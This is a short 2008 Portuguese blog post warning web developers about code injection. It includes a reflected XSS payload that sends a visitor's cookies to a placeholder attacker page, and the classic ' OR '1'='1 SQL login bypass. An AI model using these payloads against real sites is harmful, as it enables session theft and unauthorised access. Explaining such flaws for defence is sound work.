| Cuidados na hora de programar (code injection) | |
| Escrito por Eduardo Dória Lima em 14 de Outubro, 2008 | |
|
Devemos sempre ter um cuidado especial com a segurança quando vamos criar uma pagina web. Descuidos mínimos podem dar a usuários maldosos o poder de manipular a sua página de diversas maneiras. Um ataque bem conhecido e solucionado hoje em dia, porem ainda muito comum nos websites, é o chamado "Code Injection". Ele pode ser usado para permitir a execução no seu website de algum trecho de código inserido pelo usuáio. Dessa maneira, ele poderá desde manipular seus dados, até descobrir informações de outros usuarios do site. O blog GNUCITZEN publicou um artigo, onde demonstra como observar esse tipo de falha em uma pagina da Google. O artigo pode ser visto aqui.
www.seusite.com.br?pagina=index
Um usuário poderia substituir o parametro "pagina" por algum código em Javascript, ficando dessa forma: www.seusite.com.br?pagina=<script>document.location='http://paginamaliciosa/cookie.php?' +document.cookie</script>
Se o usuário entrar nessa pagina, todas as informações dos cookies de acesso serão enviadas para a pagina do usuario malicioso.
SELECT Nome, Senha
FROM Membros WHERE Membros.Nome = 'Username' AND Membros.Senha = 'Password' Porém, ela poderia ser modificada para esta se o site permitir que o usuário insira a seguinte senha: ("password' OR '1'='1"). SELECT Nome, Senha
FROM Membros WHERE Membros.Nome = 'Username' AND Membros.Senha = 'password' OR '1'='1' Dessa forma, como 'password' vai ser em branco e a operação '1'='1' sempre vai retornar verdadeira, muitos registros do banco vão ser retornados, permitindo o acesso. |
|